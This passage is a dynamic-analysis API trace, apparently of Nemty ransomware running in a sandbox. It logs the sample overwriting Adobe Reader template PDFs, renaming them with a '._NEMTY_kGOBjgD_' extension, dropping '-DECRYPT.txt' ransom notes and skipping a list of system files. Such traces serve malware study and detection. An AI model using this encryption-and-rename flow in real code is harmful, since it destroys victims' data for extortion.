pszString="lfNcq0qH8HxMV0FIloeht1Oy2uCm+b/WxyQonXm7yh6FOgWE9F9ugsgHeux7rkc5\r\nSHxOYF1fddTRiDJPCeSZtXlZltDVbuHFLU+33EEdYk7bJf/FUu+TAi/16f50DGFk\r\n0+WaHnWGhfYV3bNllQgeWLuT0zn6aQZ7kUSd4F1LtL59nn8DoDfXwQiOlcE71rot\r\nh5Eb3MdtNbzHsqVaT22CTX8TZxECBY7sng7G0X7obRy8PZ3LxMu1uOjZTt/7gLoH\r\nTVxhWB/pk9cYtRjdCUTwK6eqEQ8piQlf5CakHJnsoJEiOXgznBpwPv7aXMVEsDCU\r\nMyze9yOrUQDSlczA9RHvPw==\r\n", pcchString=0x653e5dc) returned 1 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.754] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0171.754] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.754] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0171.755] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=21508) returned 1 [0171.755] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5400) returned 0x6352c48 [0171.755] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.755] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5400, lpOverlapped=0x0) returned 1 [0171.760] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.760] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5400, lpOverlapped=0x0) returned 1 [0171.760] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.760] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=21508, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5404 [0171.760] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0171.761] CloseHandle (hObject=0x3b0) returned 1 [0171.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0171.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.761] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0171.761] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.761] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.761] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.762] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fe0350, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19fe0350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19fe0350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0171.762] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0171.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0171.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.762] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0171.762] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.762] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0171.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed08, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.763] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94310 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.763] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fe0350, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x19fe0350, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x19fe0350, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0171.763] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.763] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.763] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="KOR", cAlternateFileName="")) returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2=".") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="..") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="...") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="windows") returned -1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="$RECYCLE.BIN") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="rsa") returned -1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="NTDETECT.COM") returned -1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="ntldr") returned -1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="MSDOS.SYS") returned -1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="IO.SYS") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="boot.ini") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="boot.ini") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="AUTOEXEC.BAT") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="ntuser.dat") returned -1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="desktop.ini") returned 1 [0171.763] lstrcmpiW (lpString1="KOR", lpString2="CONFIG.SYS") returned 1 [0171.764] lstrcmpiW (lpString1="KOR", lpString2="RECYCLER") returned -1 [0171.764] lstrcmpiW (lpString1="KOR", lpString2="BOOTSECT.BAK") returned 1 [0171.764] lstrcmpiW (lpString1="KOR", lpString2="bootmgr") returned 1 [0171.764] lstrcmpiW (lpString1="KOR", lpString2="programdata") returned -1 [0171.764] lstrcmpiW (lpString1="KOR", lpString2="appdata") returned 1 [0171.764] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.764] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KOR", lpUsedDefaultChar=0x0) returned 3 [0171.764] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0171.764] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="KOR", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KOR", lpUsedDefaultChar=0x0) returned 3 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x6340048 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94310 [0171.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.764] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.764] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.764] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.764] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.765] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.765] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.765] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0171.766] CloseHandle (hObject=0x254) returned 1 [0171.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0171.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.766] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0171.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0171.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0171.766] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.767] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0171.767] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.767] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0171.768] CloseHandle (hObject=0x254) returned 1 [0171.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0171.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a052770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a052770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0171.768] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0171.768] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1a052770, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a052770, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.768] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0171.768] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0171.768] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x592a, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2=".") returned 1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="..") returned 1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="...") returned 1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="windows") returned -1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0171.768] lstrcmpiW (lpString1="AdobeID.pdf", lpString2="rsa") returned -1 [0171.768] lstrcmpiW 